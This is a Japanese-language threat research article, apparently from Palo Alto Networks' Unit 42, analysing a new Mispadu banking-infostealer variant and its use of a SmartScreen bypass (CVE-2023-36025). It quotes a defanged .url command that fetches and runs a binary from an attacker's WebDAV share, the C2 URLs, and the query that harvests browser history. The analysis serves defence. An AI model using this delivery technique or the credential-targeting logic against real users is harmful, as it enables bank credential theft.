[![Logo](https://www.paloaltonetworks.com/wp-content/uploads/2021/07/PANW_Parent.png)](https://www.paloaltonetworks.jp/) [![Unit42 Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/unit42-logo-white.svg)](https://unit42.paloaltonetworks.com/ja/) Menu * [セキュリティ コンサルティング](https://www.paloaltonetworks.com/unit42) * [**現在、攻撃を受けていますか?**](https://start.paloaltonetworks.com/contact-unit42.html) Japanese * [English](https://unit42.paloaltonetworks.com/mispadu-infostealer-variant/) * [Japanese](https://unit42.paloaltonetworks.com/ja/mispadu-infostealer-variant/) * [Threat Research Center](https://unit42.paloaltonetworks.com/ja/ "Threat Research") * [脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/ "脅威リサーチ") * [マルウェア](https://unit42.paloaltonetworks.com/ja/category/malware-ja/ "マルウェア") [マルウェア](https://unit42.paloaltonetworks.com/ja/category/malware-ja/) # 最新 Mispadu Stealer 亜種の調査 ![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 6 分で読めます Related Products [![Advanced DNS Security icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced DNS Security](https://unit42.paloaltonetworks.com/ja/product-category/advanced-dns-security-ja/ "Advanced DNS Security")[![Advanced URL Filtering icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced URL Filtering](https://unit42.paloaltonetworks.com/ja/product-category/advanced-url-filtering-ja/ "Advanced URL Filtering")[![Advanced WildFire icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced WildFire](https://unit42.paloaltonetworks.com/ja/product-category/advanced-wildfire-ja/ "Advanced WildFire")[![Cortex XDR icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/cortex_RGB_logo_Icon_Color.png)Cortex XDR](https://unit42.paloaltonetworks.com/ja/product-category/cortex-xdr-ja/ "Cortex XDR")[![Managed Threat Hunting icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/unit42_RGB_logo_Icon_Color.png)Managed Threat Hunting](https://unit42.paloaltonetworks.com/ja/product-category/managed-threat-hunting-ja/ "Managed Threat Hunting") * ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg) 著者: * [Daniela Shalev](https://unit42.paloaltonetworks.com/ja/author/daniela-shalev/) * [Josh Grunzweig](https://unit42.paloaltonetworks.com/ja/author/josh-grunzweig/) * ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg) 公開日:2024年2月2日 * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg) カテゴリー * [マルウェア](https://unit42.paloaltonetworks.com/ja/category/malware-ja/) * [ラーニング ハブ](https://unit42.paloaltonetworks.com/ja/category/learning-hub-ja/) * [脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) * [脆弱性](https://unit42.paloaltonetworks.com/ja/category/vulnerabilities-ja/) * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg) タグ: * [Banking Trojan](https://unit42.paloaltonetworks.com/ja/tag/banking-trojan-ja/) * [CVE-2023-36025](https://unit42.paloaltonetworks.com/ja/tag/cve-2023-36025-ja/) * [Mispadu infostealer](https://unit42.paloaltonetworks.com/ja/tag/mispadu-infostealer-ja/) * [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/ja/mispadu-infostealer-variant/?pdf=download&lg=ja&_wpnonce=b82091c0d3 "Click here to download") * [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/ja/mispadu-infostealer-variant/?pdf=print&lg=ja&_wpnonce=b82091c0d3 "Click here to print") 共有![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg) * ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg) * [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)](mailto:?subject=最新%20Mispadu%20Stealer%20亜種の調査&body=Check%20out%20this%20article%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fmispadu-infostealer-variant%2F "Share in email") * [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fmispadu-infostealer-variant%2F "Share in Facebook") * [![LinkedIn Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-linkedin-share.svg)](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fmispadu-infostealer-variant%2F&title=最新%20Mispadu%20Stealer%20亜種の調査 "Share in LinkedIn") * [![Twitter Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-twitter-share.svg)](https://twitter.com/intent/tweet?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fmispadu-infostealer-variant%2F&text=最新%20Mispadu%20Stealer%20亜種の調査 "Share in Twitter") * [![Reddit Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-reddit-share.svg)](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fmispadu-infostealer-variant%2F&ts=markdown "Share in Reddit") * [![Mastodon Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-mastodon-share.svg)](https://mastodon.social/share?text=最新%20Mispadu%20Stealer%20亜種の調査%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fmispadu-infostealer-variant%2F "Share in Mastodon") ## **概要** Unit 42 のリサーチャーは最近、2019 年に初めて報告されたステルス型インフォスティーラーである Mispadu Stealer のアクティビティを発見しました。このアクティビティは Unit 42 のマネージド脅威ハンティング サービスによる調査の過程で見つかったもので、SmartScreen の脆弱性 (CVE-2023-36025) のエクスプロイトを探していて発見されました。 この事例では CVE-2023-36025 の脆弱性エクスプロイトを調査していて、特定の地域や URL をターゲットとし、メキシコ国民と最も関連付けられることの多いインフォスティーラー ファミリーを発見しています。Mispadu Stealer の新しい亜種が特定されたので、本稿ではこれを解析していきます。 パロアルトネットワークスのお客様は、[Cortex XDR](https://docs-cortex.paloaltonetworks.com/p/XDR) と [WildFire](https://docs.paloaltonetworks.com/wildfire) のマルウェア解析を通じ、本稿で解説する脅威からより確実に保護されています。[Advanced URL Filtering](https://docs.paloaltonetworks.com/advanced-url-filtering/administration) と [DNS Security](https://docs.paloaltonetworks.com/dns-security) は Mispadu Stealer のアクティビティと関連付けられた既知のドメインや URL を悪意のあるものとして識別します。侵害の懸念があり弊社にインシデントレスポンスに関するご相談をなさりたい場合は、[こちら](https://start.paloaltonetworks.jp/contact-unit42.html)の問い合わせフォームからご連絡いただくか、infojapan@paloaltonetworks.com まで電子メールにてお問い合わせください (ご相談は弊社製品のお客様には限定されません)。 | **関連する Unit 42 のトピック** | [**Banking Trojan**](https://unit42.paloaltonetworks.jp/tag/banking-trojan-ja/), **[CVE-2023-36025](https://unit42.paloaltonetworks.jp/tag/cve-2023-36025-ja/)** | |------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------| ## **Mispadu Stealer の背景** Mispadu Stealer はステルス性の高いバンキング型のトロイの木馬で、[2019 年 11 月に ESET によって最初に報告されました](https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/)。Delphi で書かれており、当初はブラジルとメキシコの被害者をターゲットにしていました。 私たちは、「Windows における SmartScreen バイパスの脆弱性 ([CVE-2023-36025](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36025))」が直近で開示された後に、Mispadu Stealer への帰属が確実と思われるサンプルを発見しました。バイパス試行をハント中に当該の CVE 開示より前に作成・実行されていた Mispadu の新たな亜種を特定しましたので、これは SmartScreen 機能のバイパスを意図したものではなかった可能性があります。 ### SmartScreen の脆弱性 CVE-2023-36025 CVE-2023-36025 は Windows の SmartScreen 機能におけるセキュリティ機能バイパスの脆弱性に分類されるものです。SmartScreen は、潜在的に有害な Web サイトやファイルについて警告することで、信頼できないソースからユーザーを保護するように設計されています。 SmartScreen による警告の例を以下の図 1 に示します。ただし、攻撃者が CVE-2023-36025 を悪用すれば、これらの警告は回避できます。 ![画像 1 は、Microsoft Defender SmartScreen のスクリーンショットです。Windows protected your PC. (Windows が PC を保護しました。)Microsoft Defender SmartScreen prevented an unrecognized app from starting. (Microsoft Defender SmartScreen により、認識されていないアプリの起動を停止しました。)Running this app might put your PC at risk. (このアプリを実行すると、PC が危険にさらされる可能性があります。)詳細へのリンクがあります。ボタンには \[起動しない\] と書かれています。](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/02/word-image-132267-1.png) 図 1. Windows SmartScreen の警告 このエクスプロイトは、特別に細工されたインターネット ショートカット ファイル (.url) または SmartScreen 警告を回避しうる悪意のあるファイルを指すハイパーリンクから始まります。 バイパスは単純で、URL ではなくネットワーク共有を参照するパラメーターを使います。細工された .url ファイルには、悪意のあるバイナリーを含む脅威アクターのネットワーク共有へのリンクが含まれています (図 2)。 この細工済みの .url を使えば、Windows は SmartScreen の警告メッセージを表示しなくなります。.url ファイルをクリックすると、被害者は攻撃者のネットワーク共有にリダイレクトされ、悪意のあるペイロードが取得・実行されます。 ![画像 2 は、SmartScreen 警告を回避して proc.exe を実行するコードのスクリーンショットです。](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/02/word-image-132267-2.png) 図 2. 細工済みの .url ファイルが proc.exe を実行。このさい SmartScreen の警告は表示されない ## **SmartScreen 攻撃の説明** 2023 年 11 月、SmartScreen のバイパス試行を追跡するためにネットワーク共有から実行されているバイナリーを検索していると、以下のファイルパスにある .url ファイルが観測されました: * C:\\Users\\\\\AppData\\Local\\Temp\\4af8a553-b773-4448-b256-17329eb35676\_RFC.Online.\[redacted\].1981.d9f.zip.676\\\[redacted\].\[redacted\].1209.url この URL ファイルの内容を以下の図 3 に示します。 ![画像 3 は、細工された内容を含む URL コンテンツのスクリーンショットです。](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/02/word-image-132267-3.png) 図 3. 細工済み .url ファイルの内容 この .url ファイルは、次のコマンドを実行して、2456719228.exe という名前の悪意のあるバイナリーを取得・実行していました。 * file\[:\]\\\\24.199.98\[.\]128@80\\expediente38\\1477606991\\2456719228.exe この悪意のある .url ファイルは、元はある .zip アーカイブに含まれていたもので、これは Microsoft Edge ブラウザーによりダウンロードされていました。 * C:\\Users\\\\\Downloads\\RFC.Online.\[redacted\].1981.d9f.zip この種の ZIP アーカイブは、電子メールの添付ファイルとして、または悪意のある Web サイトからのダウンロードとして配布されてくることがあります。この ZIP サンプルのファイル名のパターンからすると、攻撃者はこれを電子メールの添付ファイルとして配布した可能性が高いと考えられます。 さらに調査すると、同じコマンド \& コントロール (C2) からダウンロードされた同様のペイロードが特定されました。これらのバイナリーはすべて、SmartScreen バイパスの開示前にコンパイル・実行されていました。このことから、これらのファイルを [WebDAV](https://ja.wikipedia.org/wiki/WebDAV) クライアントで実行させる意図があったことを特定しやすくなりました。 .url ファイル内の UNC パスをたどることにより、そのシステムはネットワーク共有に基づいたプロトコルを使うようになります。デフォルトは通常 SMB ですが、SMB が有効になっていない場合、システムは WebDAV の使用を試みます。こうしたシナリオでは、オペレーティング システムは、rundll32.exe ユーティリティを通じてリクエストを開始します (図 4)。 ![画像 4 は、WebDAV を利用する Rundll32 コマンドのスクリーンショットです。](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/02/word-image-132267-4.png) 図 4. WebDAV クライアントの利用を意図した Rundll32コマンド とくに、UNC パス内で HTTP ポート (@80) を指定すると、Windows は SMB ではなく HTTP 経由で WebDAV を利用することになります。この方法は Mispadu Stealer に限ったものではありません。[Team Axon のレポート](https://www.hunters.security/en/blog/dissecting-new-infostealer-campaign-targeting-mexico)で説明されている別のスティーラーも、この技術を使っています。 新たに発見されたサンプルを調査したところ、近年技術を進化させているらしい Mispadu Stealer との強いつながりが見つかりました。この進化を調査するため、私たちはこれらの新しいマルウェア サンプルの 1 つを分析しました。 ## **サンプル分析** この調査を通じ、Mispadu Stealer マルウェア ファミリーに一致する過去のサンプルが多数見つかることになりました。ただ、このキャンペーンとの一致がきわめて高いのは、最近の 5 つのサンプルからなる小さなクラスターです。以下に示すように、これらのサンプルは PDB (内部プログラム データベース ) 文字列やファイル サイズ、コンパイル日など、多くの特徴を共有しています。 PDB: C:\\src\\client\\build\\Release-x64\\client.pdb Size: ~4 KB Compilation date: 2023-11-12 16:15:02 UTC |-------|-------------------------------------------------------------------------------------------------------------| | 1 2 3 | PDB: C:\\src\\client\\build\\Release-x64\\client.pdb Size: ~4 KB Compilation date: 2023-11-12 16:15:02 UTC | サンプルは何百個も見つかりましたが、本稿は表 1 に示したサンプルを分析に使います。 |-------------------|------------------------------------------------------------------| | **特性** | **値** | | **SHA256** | 8e1d354dccc3c689899dc4e75fdbdd0ab076ac457de7fb83645fb735a46ad4ea | | **SHA1** | ba6d10e36f41c4ebc85f6beb95afd2b7c92406ad | | **MD5** | 723df0296951abd2aeed01361cec6b0d | | **サイズ** | 4,298,240 バイト | | **ファイル タイプ** | PE32+ executable (GUI) x86-64, for MS Windows, 7 sections | | **PDB** | C:\\src\\client\\build\\Release-x64\\client.pdb | | **コンパイルのタイムスタンプ** | 2023-11-12 16:15:02 UTC | *表 1. 分析したファイルの静的特性* このマルウェア サンプルは初回実行時にローカル タイム ゾーンと UTC との時差 (分単位の差) について最初にクエリーを実行します。次に、300 (5 時間) を引いて差分を計算し、結果の値が 180 (3 時間) より大きいかどうかを確認します。結果が 180 を超える場合、マルウェアはすぐに終了します。 このチェックを実行することにより、マルウェアは世界の特定の地域をターゲットにし、他の地域を無視します。これらのチェックの結果、南北アメリカ大陸のほとんどの地域と西ヨーロッパの特定の地域でマルウェアが実行されます。 このサンプルは実行の全過程でさまざまな文字列を選択的に復号します。このサンプルでは、bcrypt.dll ライブラリーを通じ、AES 暗号化アルゴリズムを使って必要な復号ルーチンを実行します。特定した関数を総当りしてみると、このサンプルからは次の文字列が抽出されました。 hxxps://trilivok\[.\]com/4g3031ar0/cb6y1dh/it.php hxxp://trilivok\[.\]com/4g3031ar0/cb6y1dh/it.php b1 b2 ?f=2\&w= ?v1={:d}\&v2={:d} \&v4= \&v5= Admin User \&v6=X64 \&v6=X86 \&v7= \&v8= SELECT \`url\` FROM \`urls\` WHERE \`last\_visit\_time\` \> {}; ?f=9\&w= ?rp\&p={:s}\&u={:s}\&w={:s}\&id={:s} {}.{}.{}.{} \&v9= cat id \\\\Google\\\\Chrome\\\\User Data \\\\Microsoft\\\\Edge\\\\User Data \\\\Default\\\\History \\\\Guest Profile\\\\History \\\\Profile {}\\\\History --mp --sp SOFTWARE\\\\Policies\\\\Google\\\\Chrome CloudManagementEnrollmentToken SOFTWARE\\\\Policies\\\\Microsoft\\\\Edge\\\\ExtensionInstallForcelist $$$Secure UAP Dummy Window Class For Interim Dialog runas Chrome\_WidgetWin\_1 Google Chrome Microsoft Software\\\\{C4683D87-C704-4C9F-AD93-13D7FD42DF4F} {8FCEA990-A859-4745-94F7-F6F94885B9C4} SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion UBR SOFTWARE\\\\Microsoft\\\\Cryptography MachineGuid |----------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | hxxps://trilivok\[.\]com/4g3031ar0/cb6y1dh/it.php hxxp://trilivok\[.\]com/4g3031ar0/cb6y1dh/it.php b1 b2 ?f=2\&w= ?v1={:d}\&v2={:d} \&v4= \&v5= Admin User \&v6=X64 \&v6=X86 \&v7= \&v8= SELECT \`url\` FROM \`urls\` WHERE \`last\_visit\_time\` \> {}; ?f=9\&w= ?rp\&p={:s}\&u={:s}\&w={:s}\&id={:s} {}.{}.{}.{} \&v9= cat id \\\\Google\\\\Chrome\\\\User Data \\\\Microsoft\\\\Edge\\\\User Data \\\\Default\\\\History \\\\Guest Profile\\\\History \\\\Profile {}\\\\History --mp --sp SOFTWARE\\\\Policies\\\\Google\\\\Chrome CloudManagementEnrollmentToken SOFTWARE\\\\Policies\\\\Microsoft\\\\Edge\\\\ExtensionInstallForcelist $$$Secure UAP Dummy Window Class For Interim Dialog runas Chrome\_WidgetWin\_1 Google Chrome Microsoft Software\\\\{C4683D87-C704-4C9F-AD93-13D7FD42DF4F} {8FCEA990-A859-4745-94F7-F6F94885B9C4} SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion UBR SOFTWARE\\\\Microsoft\\\\Cryptography MachineGuid | マルウェアは被害ホスト上の %TEMP% ディレクトリーの場所を特定し、このあとの実行でここを一時ファイル保存場所として使います。このアクションの実行後、マルウェアは被害ホストが実行している Windows のバージョンを特定し、リモート C2 サーバーへの最初の HTTP/HTTPS チェックインを実行します。 ホストが実行している Microsoft Windows のバージョンに基づき、マルウェアは HTTP または HTTPS で GET リクエストを実行します。被害ホストが Windows 7 またはそれ以前を実行している場合、マルウェアは HTTP でリクエストを実行します。それ以外であれば、マルウェアは HTTPS でリクエストを実行します。図 5 は、このリクエストがどのようなものかを示しています。 ![画像 5 は、Web クローラーからキャンペーンを隠すためにカスタム エラー ページを作成するコードのスクリーンショットです。](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/02/word-image-132267-5.png) 図 5. キャンペーンが表示するカスタム エラー ページ。クローラーから自身をクローキング (隠蔽) している 上の例では、GET ヘッダー行内の w= というパラメーターに、被害ホストが実行している Windows のバージョンが含まれています。 初回のチェックイン実行と C2 サーバーの成功応答の後、マルウェアは被害者の Microsoft Edge または Google Chrome ブラウザー履歴との SQLite を介したやりとりに移ります。マルウェアは、先ほど見つけた %TEMP% ディレクトリーに、これらのブラウザー履歴のデータベースをコピーします。さらに、コピーされたファイルに対し、次のクエリーを実行します。 SELECT \`url\` FROM \`urls\` WHERE \`last\_visit\_time\` \> 13337916118295160; |---|------------------------------------------------------------------------------| | 1 | SELECT \`url\` FROM \`urls\` WHERE \`last\_visit\_time\` \> 13337916118295160; | 上記 SQL 文中の 13337916118295160 は、2023 年 8 月 29 日の日付に相当する Unix タイムスタンプです。この SQL 文の実行により、マルウェアは、その日付以降に被害者が Microsoft Edge または Google Chrome でアクセスした履歴がある URL を調べます。ここからは、これらの攻撃が発生した時期と発生期間に関する追加情報が得られます。 次に、マルウェアは抽出された URL をターゲット リストと照合します。攻撃者の関心をひく URL のリストを作成するため、マルウェアは事前に作成しておいた SHA256 ハッシュのリストを利用します。マルウェアは、それらの URL を「.」という文字で分割してからハッシュを作成します。マルウェアはまた、0x23155CA4D7D94B1E511228924940CAD2A19F801DDC8A445A819C1F9FD1B10226 というハッシュを、今ハッシュ化しているデータの先頭に追加します。これにより、リサーチャーやアナリストが使われたハッシュを総当りで探したり、インターネットで検索したりできないようにしています。 このプロセスがどのように機能するかを具体例で示すため、私たちの Web サイトである https://unit42.paloaltonetworks.com/ を例にとります。 * マルウェアはまず https:// を URL から削除します。また、末尾にある / も削除します。この結果、unit42.paloaltonetworks.com が残ります。 * 次に、この文字列を「.」で分割します。これにより、unit42、paloaltonetworks、com という 3 つの文字列が生成されます。 * 最後に、マルウェアはこれらの各文字列の先頭に先ほどのハッシュを追加してからハッシュ化を行います。これにより、次の 3 つのハッシュが生成されます。 * dd4018e2cff36fc896497d4539397e8334aa9a5910e73b45bde4f7206aa5ebe3 * 135c9ef3baaef856dd9ca7801bfb690a3662646ab97568e916a1af06d382b81f * 4c21caa1fc4c01fa51d918be8ab40077e79b5b8dbaea098328ff953fc7aca8c2 このマルウェアについては、合計 15 個のハッシュ グループを観察しています。つまりこのマルウェアは 15 個の URL をターゲットとしていることになります。マルウェアが利用していたアルゴリズムを総当りで探してみると、以下の表 2 に示すように、元になった文字列が多数特定されました。 |------------------------------------------------------------------|---------| | **SHA256 ハッシュ** | **文字列** | | cf546a4c5c7fdd3935ed7d93f5482057e3c8ff8723c3a73caba1fc5e3a5c96b4 | bitso | | 4c21caa1fc4c01fa51d918be8ab40077e79b5b8dbaea098328ff953fc7aca8c2 | com | | 018beb515d323dee4f04ad9663863324859f4eb896576dbef1df950568084030 | enlace | | bbaba0482f486b0d7b7738af8bc4731dbb80faef7f8b3888d9859726dbd53957 | hsbc | | 748a57a4d4e806daa6c5e54af96f9e7839bc2260e5f0258e5edf617a92045085 | mx | | 3e165f375f498d802ce7f47739ae9d93236f83811335da55aef1dc1c17694f53 | nbem | | 0332d65ee6d896d1b326748e0108b1ac1ad97e94796dd17c7e15fa10317445a9 | nixe | | 974fe99972905800c1dd1a3527de58c291ed1f8f1c654f2f302d6b3b70af2b10 | see | | ac027e988dad213707537bdc0172509b9135115337c5744816b079390d5a3e82 | www | | 4a774438d15381d9ab308dd73c2917aee83897d654c39db24f4dd6f173564914 | ixe | | 4b276d43308450619fec6befdf92c5171298e3651ed6f06a5a637f8a5afc407f | monex | | e8deebe849f80654b53b73d41a379919a86c4c356715d34729335e79089127c7 | secure | | d4fed9ca90249707099926e336c0ec5abc0be8fbeb0e1889f7259e0e7312b9a0 | wallet | | d752b7472110cbf7f4513b64658c751148304f287b13df26890642d64b75c264 | bbvanet | | 4e209b1dd2d4eaa3b041dddbe7f1bd0c6b07145c0102999060d7ceeb64978e90 | hsbcnet | | b70ad99286733a4eb2ebc615fbfdbc9b278aaa15ad23d661696ae54eb186a5a4 | www1 | | 44c505974154050ec0c671eb2f1d27f72886243bfafff8c3523b0ce1d64f944a | www2 | *表 2. ブラウザー内にある特定 URL をターゲットとし、使われた文字列を総当りで探した結果* 15 個のハッシュ グループの大半は特定不能でしたが、次の URL については判明しました。なお、「??」の部分は特定できなかった SHA256 ハッシュを表しています。 * www.??.??.hsbc\[.\]com\[.\]mx * www1.secure.hsbcnet\[.\]com * bancadigital.monex\[.\]com\[.\]mx * nixe.ixe\[.\]com\[.\]mx * empresas.bbvanet\[.\]com\[.\]mx これらのホストは、金融機関、金融取引所、暗号通貨関連組織などに沿ったものです。.mx という ccTLD から、これらの URL の大部分はメキシコに拠点を置いています。 一致するものが見つかった場合、以下の図 6 に示すように、マルウェアは HTTP/S リクエストによるデータ アップロードに移ります。 ![画像 6 は、HTTP/S POST のスクリーンショットです。ここにはホストとユーザー エージェントが含まれています。](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/02/word-image-132267-6.png) 図 6. Mispadu が生成した HTTP POST リクエスト 以下の表 3 に示すように、このリクエストには追加の URI パラメーターが多数含まれています。 |--------|-------------------------| | **変数** | **説明** | | v1 | ユーザーの UI の言語 | | v2 | キーボード レイアウト | | v4 | オペレーティング システム | | v5 | プロセスの権限 (user/admin) | | v6 | CPU アーキテクチャ (X64 / X86) | *表 3. URI パラメーターとそれに関連するデータ* データの更新が成功すると、マルウェアは最後の HTTP/S GET リクエストを送信します (図 7)。 ![画像 7 は、Mispadu が生成する GET リクエストのスクリーンショットです。ここにはホストとユーザー エージェントが含まれています。](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/02/word-image-132267-7.png) 図 7. Mispadu が生成する最後の GET リクエスト このリクエストは最初のリクエストとは異なり、f というパラメーターに 9 という値が設定されています。私たちが最初に観測したリクエストでは、これは 2 に設定されていました。 ## **アトリビューション (帰属)** このサンプルで発見された C2 インフラや情報窃取機能は、2023 年 5 月の Mispadu AutoIt サンプルに使われていたものと似ています。この情報は「最近コンパイルされたバイナリーは以前 [MetabaseQ](https://www.metabaseq.com/mispadu-banking-trojan/) が報告していた Mispadu Stealer の新しいバージョンである」という仮定を導くのに役立ちました。 また、このサンプルと別のメキシコのインフォスティーラー キャンペーンとの間に関連があることもわかりました。 ### Mispadu Stealer Mispadu は、2019 年が初認の悪名高い情報窃取型マルウェアで、とくにスペイン語とポルトガル語を話す被害者をターゲットにしています。Mispadu の典型的配布方法のひとつがスパム キャンペーンで、被害者は紛らわしい URL を含む .zip ファイルの添付された悪意のある電子メールを受け取ります。 Mispadu はさまざまな技術が使われた多段階型マルウェアで、開発者らは使う技術を頻繁に変えています。過去 1 年、最新バージョンには複数の変更が加えられていました。一部の技術は以前とあまり変わっていませんでした。 このセクションでは、ラテンアメリカ (LATAM) をターゲットとするこのマルウェアとほかのマルウェアの類似点・相違点をまとめます。 #### 2023 年 3 月 この新たなマルウェアの C2 トラフィックは、[MetabaseQ が 2023 年 3 月に以前に論じた](https://www.metabaseq.com/mispadu-banking-trojan/) Mispadu のキャンペーンと方向性がかなり似ています。私たちの分析からは、開発者が初期サンプルで AutoIt スクリプトとして記述した情報窃取機能において強い類似性が見られることも確認されました。 これらのサンプル間では、次の類似点・相違点が注目に値します。 * C2 サーバーは変化し続けていますが、両キャンペーンとも、似た .php ファイル (it.php) が観測されています。 * この .php ファイルは、システムの言語やアーキテクチャ、オペレーティング システムなどのパラメーターを受け取ります。 * 2023 年 5 月に報じられたキャンペーンと同様に、この新しいサンプルでも同じパラメーター名が it.php に渡されるようすが観測されました。 * v1: コンピューター言語 * v2: キーボード レイアウト (言語) * v4: オペレーティング システム * v5: プロセスが admin かどうか * v6: システム アーキテクチャ キャンペーン間で観測された大きな違いは、実行チェーンとメイン ペイロードです。2023 年 5 月のキャンペーンでは、AutoIt スクリプトのメイン ペイロードをもつ多段階のマルウェア サンプルが使われていました。最新のサンプルは実行可能ファイルで、そのなかに以前の AutoIt スクリプトと同じ情報窃取機能が含まれています。 上述のように両サンプルの情報窃取手法は以下の点で似ているようです。 * どちらも SQLite を使って保存された資格情報を読み取ります。SQLite は正規のライブラリーで、ほかのインフォスティーラーでも使われています。 * Mispadu の以前のサンプルではクレデンシャル (資格情報) 抽出に WebBrowserPassView や Mail PassView などの既存ツールが使われていました。マルウェア作者はそれらの手法から SQLite を使う手法に変更することで検出逃れをはかったことが疑われます。 * どちらのサンプルも全クレデンシャルの抽出は行わず、特定の銀行 Web サイトのクレデンシャルを狙います。 * どちらのサンプルも bcrypt.dll と AES 暗号アルゴリズムを使っています。 #### 2023 年 8 月 以下の図 8 に示すペイロードと、以下の図 9 に示すメキシコのキャンペーンからのペイロード ([Team Axon が 2023 年 8 月に報告](https://www.hunters.security/en/blog/dissecting-new-infostealer-campaign-targeting-mexico)) との間にさらに類似点があることが観測されました。 2023 年 8 月のキャンペーンは、新しいサンプルとは異なり、PowerShell コードを使って情報窃取機能が実装されています。2023 年 8 月のキャンペーンのサンプルの場合、その機能に加えて、悪意のある Chrome 拡張機能のインストールなど、今のキャンペーンでは観測されていない追加の機能が含まれていました。ただしこのケースで 2023 年 8 月のキャンペーンと今回の新しいサンプルとで共通しているのが、初期配布に .url ファイルを使う点です。 さらに、2023 年 8 月のキャンペーンでも実行に WebDAV 機能が利用されていました。なお以前は .url ファイルが指していたのは .jse ファイルでしたが、新しいサンプルでは .url が実行可能ファイル (.exe) を指していました。 ![画像 8 は多数のコードからなるスクリーンショットです。黒い四角形で強調表示されているのは、.exe ファイルを指す URL です。](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/02/word-image-132267-8.png) 図 8. .exe ファイルを指す URL (新しいキャンペーン) ![画像 9 は多数のコード行からなるスクリーンショットです。黒い四角形で強調表示されているのは、.jse ファイルを指す URL です。](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/02/word-image-132267-9.png) 図9. .jse ファイルを指す URL (2023 年 8 月のキャンペーン) Mispadu は通常、中南米諸国やスペイン語ないしポルトガル語を話すユーザーを集中的に狙っています。この特定のキャンペーンはさまざまな地域で検出されており、とくにメキシコでの検出が最も顕著です (図 10)。キャンペーンは急速に広がっており、これまでは標的とされていなかったほかのヨーロッパの地域にも到達しています。 このマルウェアは対象としていない地域ではクレデンシャルを盗んでいませんが、この作者が次のバージョンのマルウェアをリリースするのは時間の問題です。そのさい、このマルウェアの標的が拡大する可能性があります。 ![画像 10 は影響を受けた国の棒グラフです。メキシコ、フランス、米国がトップ 3 で、次にスペイン、スイス、ドイツ、ベルギー、アルゼンチンが続いています。](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/02/Mispadu-F10-Revised-ja-1.png) 図 10. 感染の広がっている国々 ## 結論 この新たな Mispadu 亜種は、以前のキャンペーンに帰属させることがほとんど不可能になるほど進化しており、手法も変わり続けています。ただし、小さな類似点が異なるサンプルの帰属にヒントを与えてくれることもあります。こうした手法の変化は、サイバーセキュリティに対する包括的かつ多面的なアプローチが重要になっていることを意味しています。そうしたアプローチには、最新の脅威インテリジェンスに関する情報を常に入手しておくこと、堅牢なエンドポイント保護を採用すること、ユーザーのサイバーセキュリティ意識の形成を促進することが含まれます。 パロアルトネットワークスのお客様は、[WildFire](https://docs.paloaltonetworks.com/wildfire)、Behavioral 